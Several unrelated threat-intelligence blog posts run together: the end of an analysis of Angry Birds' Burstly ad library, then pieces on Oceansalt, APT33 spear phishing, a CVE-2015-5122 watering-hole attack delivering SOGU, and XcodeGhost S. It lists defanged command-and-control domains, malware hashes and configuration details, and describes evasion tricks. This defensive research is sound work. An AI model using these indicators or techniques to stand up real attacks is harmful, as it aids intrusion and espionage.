First in com/burstly/lib/conveniencelayer/BurstlyAnimated Banner.java, when Angry Birds tries to initialize the connection with Burstly, initNewAnimatedBanner() is called as follows:
this.initNewAnimatedBanner (arg7.getActivity(), arg8, arg9, arg10, arg11); Inside initNewAnimatedBanner(), it instantiates the BurstlyView object by calling: BurstlyView v0 = new BurstlyView(((Context)arg3)); v0.setZoneId(arg6); Before the ZoneId is set, the initializeView() method is called in the constructor of BurstlyView.
Furthermore, inside the initializeView() method, we found the following: new BurstlyViewConfigurator(this).configure(this.mAttributes); Finally in the BurstlyViewConfigurator.configure() method, it sets a series of parameters: this.extractAndApplyBurstlyViewId(); this.extractAndApplyCrParams(); this.extractAndApplyDefaultSessionLife(); this.extractAndApplyPublisherId(); this.extractAndApplyPubTargetingParams(); this.extractAndApplyUseCachedResponse(); this.extractAndApplyZoneId(); These method calls are to retrieve information from burstly.com.
For example, in the extractAndApplyCrParams() method, it retrieves parameters from burstly.com and stores them in the BurstlyView object: String v0 =
this.mAttributes.getAttributeValue(\"http://burstly.com/lib/ui/schema\", \"crParams\"); if(v0 !
= null) { BurstlyViewConfigurator.
LOG.logDebug(\"BurstlyViewConfigurator\",
\"Setting CR params to: {0}\", new Object[]{v0}); this.mBurstlyView.setCrParms(v0); } The key crParms is the same one used in the first PCap to label the values corresponding to personal information such as age and gender.
Conclusion In summary, Angry Birds collects user’s personal information and associates with customer id before storing it in the smart phone storage.
Then the Burstly ad library embedded in Angry Birds fetches the customer id, uploads the corresponding personal information to the Burstly cloud, and transmits it to other advertising clouds.
We have caught such traffics in the network packet captures and the corresponding code paths in the reversed engineered source code.
For FireEye ThreatScore information on Angry Birds and more details about the application’s behavior, FireEye Mobile Threat Prevention customers can access their Mobile Threat Prevention (MTP) portal.
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By Raj Samani and Ryan Sherstobitoff on Oct 17, 2018 A wall eight feet high with three strands of barbed wire is considered sufficient to deter a determined intruder, at least according to the advice offered by the CISSP professional certification.
Although physical controls can be part of a multifaceted defense, an electronic attack affords the adversary time to develop the necessary tools to bypass any logical wall set before them.
In the latest findings from the McAfee Advanced Threat Research team, we examine an adversary that was not content with a single campaign, but launched five distinct waves adapted to their separate targets.
The new report “Operation Oceansalt Attacks South Korea, U.S., and Canada with Source Code from Chinese Hacker Group” analyzes these waves and their victims, primarily in South Korea but with a few in the United States and Canada.
Although one reaction is to marvel at the level of innovation displayed by the threat actor(s), we are not discussing five new, never-before-seen malware variants—rather the reuse of code from implants seen eight years prior.
The Oceansalt malware uses large parts of code from the Seasalt implant, which was linked to the Chinese hacking group Comment Crew.
The level of reuse is graphically depicted below: Code Visualization of Recent Oceansalt with Older Seasalt Oceansalt, 2018.
Seasalt, 2010.
Who is Behind the Oceansalt Attack?
Originally taking the title APT1, the Comment Crew was seen as the threat actor conducting offensive cyber operations against the United States almost 10 years before.
The obvious suspect is Comment Crew and, although this may seem a logical conclusion, we have not seen any activity from this group since they were initially exposed.
Is it possible that this group has returned and, if so, why target South Korea?
It is possible that the source code developed by Comment Crew has now been used by another adversary.
The code to our knowledge, however, has never been made public.
Alternatively, this could be a “false flag” operation to suggest that we are seeing the re-emergence of Comment Crew.
Creating false flags is a common practice.
What Really Matters It is likely that reactions to this research will focus on debating the identity of the threat actor.
Although this question is of great interest, answering it will require more than the technical evidence that private industry can provide.
These limitations are frustrating.
However, we can focus on the indicators of compromise presented in this report to detect, correct, and protect our systems, regardless of the source of these attacks.
Perhaps more important is the possible return of a previously dormant threat actor and, further, why should this campaign occur now?
Regardless of whether this is a false flag operation to suggest the rebirth of Comment Crew, the impact of the attack is unknown.
However, one thing is certain.
Threat actors have a wealth of code available to leverage new campaigns, as previous research from the Advanced Threat Research team has revealed.
In this case we see that collaboration not within a group but potentially with another threat actor—offering up considerably more malicious assets.
We often talk about partnerships within the private and public sector as the key to tackling the cybersecurity challenges facing society.
The bad actors are not putting these initiatives on PowerPoint slides and marketing material; they are demonstrating that partnerships can suit their ends, too.
When discussing suspected Middle Eastern hacker groups with destructive capabilities, many automatically think of the suspected Iranian group that previously used SHAMOON – aka Disttrack – to target organizations in the Persian Gulf.
However, over the past few years, we have been tracking a separate, less widely known suspected Iranian group with potential destructive capabilities, whom we call APT33.
Our analysis reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013.
We assess APT33 works at the behest of the Iranian government.
Recent investigations by FireEye’s Mandiant incident response consultants combined with FireEye iSIGHT Threat Intelligence analysis have given us a more complete picture of APT33’s operations, capabilities, and potential motivations.
This blog highlights some of our analysis.
Our detailed report on FireEye Threat Intelligence contains a more thorough review of our supporting evidence and analysis.
We will also be discussing this threat group further during our webinar on Sept. 21 at 8 a.m.
ET.
Targeting APT33 has targeted organizations – spanning multiple industries – headquartered in the United States, Saudi Arabia and South Korea.
APT33 has shown particular interest in organizations in the aviation sector involved in both military and commercial capacities, as well as organizations in the energy sector with ties to petrochemical production.
From mid-2016 through early 2017, APT33 compromised a U.S. organization in the aerospace sector and targeted a business conglomerate located in Saudi Arabia with aviation holdings.
During the same time period, APT33 also targeted a South Korean company involved in oil refining and petrochemicals.
More recently, in May 2017, APT33 appeared to target a Saudi organization and a South Korean business conglomerate using a malicious file that attempted to entice victims with job vacancies for a Saudi Arabian petrochemical company.
We assess the targeting of multiple companies with aviation-related partnerships to Saudi Arabia indicates that APT33 may possibly be looking to gain insights on Saudi Arabia’s military aviation capabilities to enhance Iran’s domestic aviation capabilities or to support Iran’s military and strategic decision making vis a vis Saudi Arabia.
We believe the targeting of the Saudi organization may have been an attempt to gain insight into regional rivals, while the targeting of South Korean companies may be due to South Korea’s recent partnerships with Iran’s petrochemical industry as well as South Korea’s relationships with Saudi petrochemical companies.
Iran has expressed interest in growing their petrochemical industry and often posited this expansion in competition to Saudi petrochemical companies.
APT33 may have targeted these organizations as a result of Iran’s desire to expand its own petrochemical production and improve its competitiveness within the region.
The generalized targeting of organizations involved in energy and petrochemicals mirrors previously observed targeting by other suspected Iranian threat groups, indicating a common interest in the sectors across Iranian actors.
Figure 1 shows the global scope of APT33 targeting.
Figure 1: Scope of APT33 Targeting Spear
Phishing APT33 sent spear phishing emails to employees whose jobs related to the aviation industry.
These emails included recruitment themed lures and contained links to malicious HTML application (.hta) files.
The .hta files contained job descriptions and links to legitimate job postings on popular employment websites that would be relevant to the targeted individuals.
An example .hta
file excerpt is provided in Figure 2.
To the user, the file would appear as benign references to legitimate job postings; however, unbeknownst to the user, the .hta file also contained embedded code that automatically downloaded a custom APT33 backdoor.
Figure 2: Excerpt of an APT33 malicious .hta
file We assess APT33 used a built-in phishing module within
the publicly available ALFA
TEaM Shell (aka ALFASHELL) to send hundreds of spear phishing emails to targeted individuals in 2016.
Many of the phishing emails appeared legitimate – they referenced a specific job opportunity and salary, provided a link to the spoofed company’s employment website, and even included the spoofed company’s Equal Opportunity hiring statement.
However, in a few cases, APT33 operators left in the default values of the shell’s phishing module.
These appear to be mistakes, as minutes after sending the emails with the default values, APT33 sent emails to the same recipients with the default values removed.
As shown in Figure 3, the “fake mail” phishing module in the ALFA Shell contains default values, including the sender email address (solevisible@gmail[.
]com), subject line (“your site hacked by me”), and email body (“Hi Dear Admin”).
Figure 3:
ALFA TEaM Shell v2-Fake Mail (Default) Figure 4 shows an example email containing the default values the shell.
Figure 4:
Example Email Generated by the ALFA Shell with Default Values Domain Masquerading APT33 registered multiple domains that masquerade as Saudi Arabian aviation companies and Western organizations that together have partnerships to provide training, maintenance and support for Saudi’s military and commercial fleet.
Based on observed targeting patterns, APT33 likely used these domains in spear phishing emails to target victim organizations.
The following domains masquerade as these organizations: Boeing, Alsalam Aircraft Company, Northrop Grumman Aviation Arabia (NGAAKSA), and Vinnell Arabia.
boeing.servehttp[.
]com
alsalam.ddns[.
]net ngaaksa.ddns[.
]net ngaaksa.sytes[.
]net vinnellarabia.myftp[.
]org Boeing, Alsalam Aircraft company, and Saudia Aerospace Engineering Industries entered into a joint venture to create the Saudi Rotorcraft Support Center in Saudi Arabia in 2015 with the goal of servicing Saudi Arabia’s rotorcraft fleet and building a self-sustaining workforce in the Saudi aerospace supply base.
Alsalam Aircraft Company also offers military and commercial maintenance, technical support, and interior design and refurbishment services.
Two of the domains appeared to mimic Northrop Grumman joint ventures.
These joint ventures – Vinnell Arabia and Northrop Grumman Aviation Arabia – provide aviation support in the Middle East, specifically in Saudi Arabia.
Both Vinnell Arabia and Northrop Grumman Aviation Arabia have been involved in contracts to train Saudi Arabia’s Ministry of National Guard.
Identified Persona Linked to Iranian Government We identified APT33 malware tied to an Iranian persona who may have been employed by the Iranian government to conduct cyber threat activity against its adversaries.
We assess an actor using the handle “xman_1365_x” may have been involved in the development and potential use of APT33’s TURNEDUP backdoor due to the inclusion of the handle in the processing-debugging (PDB) paths of many of TURNEDUP samples.
An example can be seen in Figure 5.
Figure 5: “xman_1365_x\" PDB String in TURNEDUP Sample Xman_1365_x was also a community manager in the Barnamenevis Iranian programming and software engineering forum, and registered accounts in the well-known Iranian Shabgard and Ashiyane forums, though we did not find evidence to suggest that this actor was ever a formal member of the Shabgard or Ashiyane hacktivist groups.
Open source reporting links the “xman_1365_x” actor to the “Nasr Institute,” which is purported to be equivalent to Iran’s “cyber army” and controlled by the Iranian government.
Separately, additional evidence ties the “Nasr Institute” to the 2011-2013 attacks on the financial industry, a series of denial of service attacks dubbed Operation Ababil.
In March 2016, the U.S. Department of Justice unsealed an indictment that named two individuals allegedly hired by the Iranian government to build attack infrastructure and conduct distributed denial of service attacks in support of Operation Ababil.
While the individuals and the activity described in indictment are different than what is discussed in this report, it provides some evidence that individuals associated with the “Nasr Institute” may have ties to the Iranian government.
Potential Ties to Destructive Capabilities and Comparisons with SHAMOON One of the droppers used by APT33, which we refer to as DROPSHOT, has been linked to the wiper malware SHAPESHIFT.
Open source research indicates SHAPESHIFT may have been used to target organizations in Saudi Arabia.
Although we have only directly observed APT33 use DROPSHOT to deliver the TURNEDUP backdoor, we have identified multiple DROPSHOT samples in the wild that drop SHAPESHIFT.
The SHAPESHIFT malware is capable of wiping disks, erasing volumes and deleting files, depending on its configuration.
Both DROPSHOT and SHAPESHIFT contain Farsi language artifacts, which indicates they may have been developed by a Farsi language speaker (Farsi is the predominant and official language of Iran).
While we have not directly observed APT33 use SHAPESHIFT or otherwise carry out destructive operations, APT33 is the only group that we have observed use the DROPSHOT dropper.
It is possible that DROPSHOT may be shared amongst Iran-based threat groups, but we do not have any evidence that this is the case.
In March 2017, Kasperksy released a report that compared DROPSHOT (which they call Stonedrill) with the most recent variant of SHAMOON (referred to as Shamoon 2.0).
They stated that both wipers employ anti-emulation techniques and were used to target organizations in Saudi Arabia, but also mentioned several differences.
For example, they stated DROPSHOT uses more advanced anti-emulation techniques, utilizes external scripts for self-deletion, and uses memory injection versus external drivers for deployment.
Kaspersky also noted the difference in resource language sections: SHAMOON embeds Arabic-Yemen language resources while DROPSHOT embeds Farsi (Persian) language resources.
We have also observed differences in both targeting and tactics, techniques and procedures (TTPs) associated with the group using SHAMOON and APT33.
For example, we have observed SHAMOON being used to target government organizations in the Middle East, whereas APT33 has targeted several commercial organizations both in the Middle East and globally.
APT33 has also utilized a wide range of custom and publicly available tools during their operations.
In contrast, we have not observed the full lifecycle of operations associated with SHAMOON, in part due to the wiper removing artifacts of the earlier stages of the attack lifecycle.
Regardless of whether DROPSHOT is exclusive to APT33, both the malware and the threat activity appear to be distinct from the group using SHAMOON.
Therefore, we assess there may be multiple Iran-based threat groups capable of carrying out destructive operations.
Additional Ties Bolster Attribution to Iran APT33’s targeting of organizations involved in aerospace and energy most closely aligns with nation-state interests, implying that the threat actor is most likely government sponsored.
This coupled with the timing of operations – which coincides with Iranian working hours – and the use of multiple Iranian hacker tools and name servers bolsters our assessment that APT33 may have operated on behalf of the Iranian government.
The times of day that APT33 threat actors were active suggests that they were operating in a time zone close to 04:30 hours ahead of Coordinated Universal Time (UTC).
The time of the observed attacker activity coincides with Iran’s Daylight Time , which is +0430 UTC.
APT33 largely operated on days that correspond to Iran’s workweek, Saturday to Wednesday.
This is evident by the lack of attacker activity on Thursday, as shown in Figure 6.
Public sources report that Iran works a Saturday to Wednesday or Saturday to Thursday work week, with government offices closed on Thursday and some private businesses operating on a half day schedule on Thursday.
Many other Middle East countries have elected to have a Friday and Saturday weekend.
Iran is one of few countries that subscribes to a Saturday to Wednesday workweek.
APT33 leverages popular Iranian hacker tools and DNS servers used by other suspected Iranian threat groups.
The publicly available backdoors and tools utilized by APT33 – including NANOCORE, NETWIRE, and ALFA Shell – are all available on Iranian hacking websites, associated with Iranian hackers, and used by other suspected Iranian threat groups.
While not conclusive by itself, the use of publicly available Iranian hacking tools and popular Iranian hosting companies may be a result of APT33’s familiarity with them and lends support to the assessment that APT33 may be based in Iran.
Figure 6:
APT33 Interactive Commands by Day of Week Outlook and Implications Based on observed targeting, we believe APT33 engages in strategic espionage by targeting geographically diverse organizations across multiple industries.
Specifically, the targeting of organizations in the aerospace and energy sectors indicates that the threat group is likely in search of strategic intelligence capable of benefitting a government or military sponsor.
APT33’s focus on aviation may indicate the group’s desire to gain insight into regional military aviation capabilities to enhance Iran’s aviation capabilities or to support Iran’s military and strategic decision making.
Their targeting of multiple holding companies and organizations in the energy sectors align with Iranian national priorities for growth, especially as it relates to increasing petrochemical production.
We expect APT33 activity will continue to cover a broad scope of targeted entities, and may spread into other regions and sectors as Iranian interests dictate.
APT33’s use of multiple custom backdoors suggests that they have access to some of their own development resources, with which they can support their operations, while also making use of publicly available tools.
The ties to SHAPESHIFT may suggest that APT33 engages in destructive operations or that they share tools or a developer with another Iran-based threat group that conducts destructive operations.
Appendix Malware Family Descriptions Malware Family Description Availability DROPSHOT Dropper that has been observed dropping and launching the TURNEDUP backdoor, as well as the SHAPESHIFT wiper malware Non
-Public NANOCORE
Publicly available remote access Trojan (RAT) available for purchase.
It is a full-featured backdoor with a plugin framework Public NETWIRE Backdoor that attempts to steal credentials from the local machine from a variety of sources and supports other standard backdoor features.
Public TURNEDUP Backdoor capable of uploading and downloading files, creating a reverse shell, taking screenshots, and gathering system information Non-Public Indicators of Compromise APT33 Domains Likely Used in Initial Targeting Domain boeing.servehttp[.
]com alsalam.ddns[.
]net ngaaksa.ddns[.
]net ngaaksa.sytes[.
]net vinnellarabia.myftp[.
]org APT33 Domains / IPs Used for C2 C2 Domain
MALWARE managehelpdesk[.
]com NANOCORE
microsoftupdated[.
]com NANOCORE
osupd[.
]com NANOCORE mywinnetwork.ddns[.
]net
NETWIRE www.chromup[.
]com
TURNEDUP www.securityupdated[.
]com
TURNEDUP googlmail[.
]net TURNEDUP microsoftupdated[.
]net TURNEDUP syn.broadcaster[.
]rocks TURNEDUP www.googlmail[.
]net
TURNEDUP Publicly Available Tools used by APT33 MD5
MALWARE Compile Time (UTC) 3f5329cf2a829f8840ba6a903f17a1bf NANOCORE 2017/1/11 2:20
10f58774cd52f71cd4438547c39b1aa7 NANOCORE 2016/3/9
23:48 663c18cfcedd90a3c91a09478f1e91bc NETWIRE 2016/6/29 13:44 6f1d5c57b3b415edc3767b079999dd50 NETWIRE 2016/5/29 14:11 Unattributed DROPSHOT / SHAPESHIFT MD5 Hashes MD5 MALWARE
Compile Time (UTC) 0ccc9ec82f1d44c243329014b82d3125 DROPSHOT (drops SHAPESHIFT n/a - timestomped fb21f3cea1aa051ba2a45e75d46b98b8 DROPSHOT n/a - timestomped 3e8a4d654d5baa99f8913d8e2bd8a184 SHAPESHIFT 2016/11/14 21:16:40 6b41980aa6966dda6c3f68aeeb9ae2e0 SHAPESHIFT 2016/11/14 21:16:40
APT33 Malware MD5 Hashes MD5 MALWARE Compile Time (UTC) 8e67f4c98754a2373a49eaf53425d79a DROPSHOT (drops TURNEDUP)
2016/10/19 14:26 c57c5529d91cffef3ec8dadf61c5ffb2 TURNEDUP 2014/6/1 11:01 c02689449a4ce73ec79a52595ab590f6 TURNEDUP 2016/9/18
10:50 59d0d27360c9534d55596891049eb3ef TURNEDUP 2016/3/8 12:34 59d0d27360c9534d55596891049eb3ef TURNEDUP 2016/3/8 12:34
797bc06d3e0f5891591b68885d99b4e1 TURNEDUP 2015/3/12 5:59 8e6d5ef3f6912a7c49f8eb6a71e18ee2 TURNEDUP 2015/3/12 5:59 32a9a9aa9a81be6186937b99e04ad4be TURNEDUP 2015/3/12 5:59 a272326cb5f0b73eb9a42c9e629a0fd8 TURNEDUP 2015/3/9 16:56 a813dd6b81db331f10efaf1173f1da5d TURNEDUP 2015/3/9 16:56 de9e3b4124292b4fba0c5284155fa317
TURNEDUP 2015/3/9 16:56 a272326cb5f0b73eb9a42c9e629a0fd8 TURNEDUP 2015/3/9 16:56 b3d73364995815d78f6d66101e718837 TURNEDUP 2014/6/1 11:01 de7a44518d67b13cda535474ffedf36b
TURNEDUP 2014/6/1 11:01 b5f69841bf4e0e96a99aa811b52d0e90 TURNEDUP 2014/6/1 11:01 a2af2e6bbb6551ddf09f0a7204b5952e
TURNEDUP 2014/6/1 11:01 b189b21aafd206625e6c4e4a42c8ba76
TURNEDUP 2014/6/1 11:01 aa63b16b6bf326dd3b4e82ffad4c1338
TURNEDUP 2014/6/1 11:01 c55b002ae9db4dbb2992f7ef0fbc86cb
TURNEDUP 2014/6/1 11:01 c2d472bdb8b98ed83cc8ded68a79c425
TURNEDUP 2014/6/1 11:01 c6f2f502ad268248d6c0087a2538cad0
TURNEDUP 2014/6/1 11:01 c66422d3a9ebe5f323d29a7be76bc57a
TURNEDUP 2014/6/1 11:01 ae47d53fe8ced620e9969cea58e87d9a TURNEDUP 2014/6/1 11:01 b12faab84e2140dfa5852411c91a3474
TURNEDUP 2014/6/1 11:01 c2fbb3ac76b0839e0a744ad8bdddba0e
TURNEDUP 2014/6/1 11:01 a80c7ce33769ada7b4d56733d02afbe5
TURNEDUP 2014/6/1 11:01 6a0f07e322d3b7bc88e2468f9e4b861b TURNEDUP 2014/6/1 11:01 b681aa600be5e3ca550d4ff4c884dc3d TURNEDUP 2014/6/1 11:01 ae870c46f3b8f44e576ffa1528c3ea37
TURNEDUP 2014/6/1 11:01 bbdd6bb2e8827e64cd1a440e05c0d537
TURNEDUP 2014/6/1 11:01 0753857710dcf96b950e07df9cdf7911
TURNEDUP 2013/4/10 10:43 d01781f1246fd1b64e09170bd6600fe1 TURNEDUP 2013/4/10 10:43
1381148d543c0de493b13ba8ca17c14f TURNEDUP 2013/4/10 10:43 Subscribe to Blogs Get email updates as new blog posts are added.
On July 14, FireEye researchers discovered attacks exploiting the Adobe Flash vulnerability CVE-2015-5122, just four days after Adobe released a patch.
CVE-2015-5122 was the second Adobe Flash zero-day revealed in the leak of HackingTeam’s internal data.
The campaign targeted Japanese organizations by using at least two legitimate Japanese websites to host a strategic web compromise (SWC), where victims ultimately downloaded a variant of the SOGU malware.
Strategic Web Compromise At least two different Japanese websites were compromised to host the exploit framework and malicious downloads: Japan’s International Hospitality and Conference Service Association (IHCSA) website (hxxp://www.ihcsa[.]or[.
]jp) in Figure 1 Figure 1: IHCSA website Japan’s Cosmetech Inc. website (hxxp://cosmetech[.]co[.
]jp)
The main landing page for the attacks is a specific URL seeded on the IHCSA website (hxxp://www.ihcsa[.]or[.
]jp/zaigaikoukan/zaigaikoukansencho-1/), where users are redirected to the HackingTeam Adobe Flash framework hosted on the second compromised Japanese website.
We observed in the past week this same basic framework across several different SWCs exploiting the “older” CVE-2015-5119 Adobe Flash vulnerability in Figure 2.
Figure 2:
First portion of exploit chain The webpage (hxxp://cosmetech[.]co[.
]jp/css/movie.html) is built with the open source framework Adobe Flex and checks if the user has at least Adobe Flash Player version 11.4.0 installed.
If the victim has the correct version of Flash, the user is directed to run a different, more in-depth profiling script (hxxp://cosmetech.co.jp/css/swfobject.js), which checks for several more conditions in addition to their version of Flash.
If the conditions are not met then the script will not attempt to load the Adobe Flash (SWF) file into the user’s browser.
In at least two of the incidents we observed, the victims were running Internet Explorer 11 on Windows 7 machines.
The final component is delivering a malicious SWF file, which we confirmed exploits CVE-2015-5122 on Adobe Version 18.0.0.203 for Windows in Figure 3.
Figure 3:
Malicious SWF download SOGU Malware, Possible New Variant After successful exploitation, the SWF file dropped a SOGU variant—a backdoor widely used by Chinese threat groups and also known as “Kaba”—in a temporary directory under “AppData\\Local\\”.
The directory contains the properties and configuration in Figure 4.
Filename: Rdws.exe Size: 413696 bytes MD5: 5a22e5aee4da2fe363b77f1351265a00 Compile Time: 2015-07-13 08:11:01 SHA256: df5f1b802d553cddd3b99d1901a87d0d1f42431b366cfb0ed25f465285e38d27 SSDeep: 6144:
Na/PSOE9OPXCQpA3abFUntBrDP3FVPsCE2NiYfFei78GlGeYO:IPSOE9OPXCQ pAK5YBvPPPrZVkiY2Y Import Hash : ae984e4ab41d192d631d4f923d9210e4 PEHash: 57e6b26eac0f34714252957d26287bc93ef07db2 .text : e683e1f9fb674f97cf4420d15dc09a2b .rdata : 3a92b98a74d7ffb095fe70cf8acacc75 .data : b5d4f68badfd6e3454f8ad29da54481f .rsrc :
474f9723420a3f2d0512b99932a50ca7 C2 Password: gogogod< Memo: 201507122359 Process Inject Targets: %windir%\\system32\\svchost.exe
Sogu Config Encoder: sogu_20140307 Mutex Name: ZucFCoeHa8KvZcj1FO838HN&*wz4xSdmm1 Figure 4:
SOGU Binary ‘Rdws.exe’ The compile timestamp indicates the malware was assembled on July 13, less than a day before we observed the SWC.
We believe the time stamp in this case is likely genuine, based on the time line of the incident.
The SOGU binary also appears to masquerade as a legitimate Trend Micro file named “VizorHtmlDialog.exe” in Figure 5.
LegalCopyright:
Copyright (C) 2009-2010 Trend Micro Incorporated.
All rights reserved.
InternalName: VizorHtmlDialog FileVersion:
3.0.0.1303 CompanyName: Trend Micro Inc.
PrivateBuild:
Build 1303 - 8/8/2010 LegalTrademarks:
Trend Micro Titanium is a registered trademark of Trend Micro Incorporated.
Comments: ProductName:
Trend Micro Titanium SpecialBuild: 1303 ProductVersion: 3.0 FileDescription:
Trend Titanium OriginalFilename: VizorHtmlDialog.exe Figure 5:
Rdws.exe version information The threat group likely used Trend Micro, a security software company headquartered in Japan, as the basis for the fake file version information deliberately, given the focus of this campaign on Japanese organizations.
SOGU Command and Control The SOGU variant calls out to a previously unobserved command and control (CnC) domain, “amxil[.]opmuert[.
]org” over port 443 in Figure 6.
It uses modified DNS TXT record beaconing with an encoding we have not previously observed with SOGU malware, along with a non-standard header, indicating that this is possibly a new variant.
Figure 6:
SOGU C2 beaconing The WHOIS registrant email address for the domain did not indicate any prior malicious activity, and the current IP resolution (54.169.89.240) is for an Amazon Web Services IP address.
Another Quick Turnaround on Leveraging HackingTeam Zero-Days Similar to the short turnaround time highlighted in our blog on the recent APT3/APT18 phishing attacks , the threat actor quickly employed the leaked zero-day vulnerability into a SWC campaign.
The threat group appears to have used procured and compromised infrastructure to target Japanese organizations.
In two days we have observed at least two victims related to this attack.
We cannot confirm how the organizations were targeted, though similar incidents involving SWC and exploitation of the Flash vulnerability CVE-2015-5119 lured victims with phishing emails.
Additionally, the limited popularity of the niche site also contributes to our suspicion that phishing emails may have been the lure, and not incidental web browsing.
Malware Overlap with Other Chinese Threat Groups We believe that this is a concerted campaign against Japanese companies given the nature of the SWC.
The use of SOGU malware and dissemination method is consistent with the tactics of Chinese APT groups that we track.
Chinese APT groups have previously targeted the affected Japanese organizations, but we have yet to confirm which group is responsible for this campaign.
Why Japan?
In this case, we do not have enough information to discern specifically what the threat actors may have been pursuing.
The Japanese economy’s technological innovation and strengths in high-tech and precision goods have attracted the interest of multiple Chinese APT groups, who almost certainly view Japanese companies as a rich source of intellectual property and competitive intelligence.
The Japanese government and military organizations are also frequent targets of cyber espionage.
[1]  Japan’s economic influence, alliance with the United States, regional disputes, and evolving defense policies make the Japanese government a dedicated target of foreign intelligence.
Recommendations FireEye maintains endpoint and network detection for CVE-2015-5122 and the backdoor used in this campaign.
FireEye products and services identify this activity as SOGU/Kaba within the user interface.
Additionally, we highly recommend:
Applying Adobe’s newest patch for Flash immediately; Querying for additional activity by the indicators from the compromised Japanese websites and the SOGU malware callbacks; Blocking CnC addresses via outbound communications; and Scope the environment to prepare for incident response.
[1] Humber, Yuriy and Gearoid Reidy.
“Yahoo Hacks Highlight Cyber Flaws Japan Rushing to Twart.”
BloombergBusiness.
8 July 2014.
http://www.bloomberg.com/news/articles/2014-07-08/yahoo-hacks-highlight-cyber-flaws-japan-rushing-to-thwart Japanese Ministry of Defense.
“Trends Concerning Cyber Space.”
Defense of Japan 2014.
http://www.mod.go.jp/e/publ/w_paper/pdf/2014/DOJ2014_1-2-5_web_1031.pdf LAC Corporation.
“Cyber Grid View, Vol.
1.”
http://www.lac.co.jp/security/report/pdf/apt_report_vol1_en.pdf Otake, Tomoko.
“Japan Pension Service hack used classic attack method.”
Japan Times.
2 June 2015.
http://www.japantimes.co.jp/news/2015/06/02/national/social-issues/japan-pension-service-hack-used-classic-attack-method/ Subscribe to Blogs Get email updates as new blog posts are added.
Just over a month ago, iOS users were warned of the threat to their devices by the XcodeGhost malware.
Apple quickly reacted, taking down infected apps from the App Store and releasing new security features to stop malicious activities.
Through continuous monitoring of our customers’ networks, FireEye researchers have found that, despite the quick response, the threat of XcodeGhost has maintained persistence and been modified.
More specifically, we found that: XcodeGhost has entered into U.S. enterprises and is a persistent security risk Its botnet is still partially active A variant we call XcodeGhost S reveals more advanced samples went undetected After monitoring XcodeGhost related activity for four weeks, we observed 210 enterprises with XcodeGhost-infected applications running inside their networks, generating more than 28,000 attempts to connect to the XcodeGhost Command and Control (CnC) servers -- which, while not under attacker control, are vulnerable to hijacking by threat actors.
Figure 1 shows the top five countries XcodeGhost attempted to callback to during this time.
Figure 1.
Top five countries XcodeGhost attempted to callback in a four-week span The 210 enterprises we detected with XcodeGhost infections represent a wide range of industries.
Figure 2 shows the top five industries affected by XcodeGhost, sorted by the percentage of callback attempts to the XcodeGhost CnC servers from inside their networks:
Figure 2:
Top five industries affected based on callback attempts Researchers have demonstrated how XcodeGhost CnC traffic can be hijacked to: Distribute apps outside the App Store Force browse to URL Aggressively promote any app in the App Store by launching the download page directly Pop-up phishing windows
Figure 3 shows the top 20 most active infected apps among 152 apps, based on data from our DTI cloud:
Figure 3:
Top 20 infected apps Although most vendors have already updated their apps on App Store, this chart indicates many users are actively using older, infected versions of various apps in the field.
The version distribution varies among apps.
For example, the most popular Apps 网易云音乐 and WeChat-infected versions are listed in Figure 4.
App Name Version Incident Count (in 3 weeks)
WeChat 6.2.5.19 2963 网易云音乐 Music 163 2.8.2 3084 2.8.3 2664 2.8.1 1227 Figure 4:
Sample infected app versions The infected iPhones are running iOS versions from 6.x.x to 9.x.x as illustrated by Figure 5.
It is interesting to note that nearly 70% of the victims within our customer base remain on older iOS versions.
We encourage them to update to the latest version iOS 9 as quickly as possible.
Figure 5: Distribution of iOS versions running infected apps Some enterprises have taken steps to block the XcodeGhost DNS query within their network to cut off the communication between employees’ iPhones and the attackers’ CnC servers to protect them from being hijacked.
However, until these employees update their devices and apps, they are still vulnerable to potential hijacking of the XcodeGhost CnC traffic -- particularly when outside their corporate networks.
Given the number of infected devices detected within a short period among so many U.S enterprises, we believe that XcodeGhost continues to be an ongoing threat for enterprises.
XcodeGhost Modified to Exploit iOS 9 We have worked with Apple to have all XcodeGhost and XcodeGhost S (described below) samples we have detected removed from the App Store.
XcodeGhost is planted in different versions of Xcode, including Xcode 7 (released for iOS 9 development).
In the latest version, which we call XcodeGhost S, features have been added to infect iOS 9 and bypass static detection.
According to [1], Apple introduced the “NSAppTransportSecurity” approach for iOS 9 to improve client-server connection security.
By default, only secure connections (https with specific ciphers) are allowed on iOS 9.
Due to this limitation, previous versions of XcodeGhost would fail to connect with the CnC server by using http.
However, Apple also allows developers to add exceptions (“NSAllowsArbitraryLoads”) in the app’s Info.plist to allow http connection.
As shown in Figure 6, the XcodeGhost S sample reads the setting of “NSAllowsArbitraryLoads” under the “NSAppTransportSecurity” entry in the app’s Info.plist and picks different CnC servers (http/https) based on this setting.
Figure 6: iOS 9 adoption in XcodeGhost S
Further, the CnC domain strings are concatenated character by character to bypass the static detection in XcodeGhost S, such behavior is shown in Figure 7.
Figure 7:
Construct the CnC domain character by character The FireEye iOS dynamic analysis platform has successfully detected an app  (“自由邦”)  [2] infected by XcodeGhost S and this app has been taken down from App Store in cooperation with Apple.
It is a shopping app for travellers and is available on both U.S. and CN App Stores.
As shown in Figure 8, the infected app’s version is 2.6.6, updated on Sep. 15.
Figure 8: An App Store app is infected with XcodeGhost S Enterprise Protection FireEye MTP has detected and assisted in Apple’s takedown of thousands of XcodeGhost-infected iOS applications.
We advise all organizations to notify their employees of the threat of XcodeGhost and other malicious iOS apps.
Employees should make sure that they update all apps to the latest version.
For the apps Apple has removed, users should remove the apps and switch to other uninfected apps on App Store.
FireEye
MTP management customers have full visibility into which mobile devices are infected in their deployment base.
We recommend that customers immediately review MTP alerts, locate infected devices/users, and quarantine the devices until the infected apps are removed.
FireEye NX customers are advised to immediately review alert logs for activities related to XcodeGhost communications.
[1] h
ttps://developer.apple.com/library/prerelease/ios/technotes/App-Transport-Security-Technote/ [2] https://itunes.apple.com/us/app/id915233927 [3] http://drops.wooyun.org/papers/9024 [4] https://itunes.apple.com/us/app/pdf-reader-annotate-scan-sign/id368377690?mt=8 [5] https://itunes.apple.com/us/app/winzip-leading-zip-unzip-cloud/id500637987?mt=8 [7] https://www.fireeye.com/blog/threat-research/2015/08/ios_masque_attackwe.html [8] https://www.fireeye.com/blog/threat-research/2015/02/ios_masque_attackre.html [9] https://www.fireeye.com/blog/threat-research/2014/11/masque-attack-all-your-ios-apps-belong-to-us.html [10] https://www.fireeye.com/blog/threat-research/2015/06/three_new_masqueatt.html
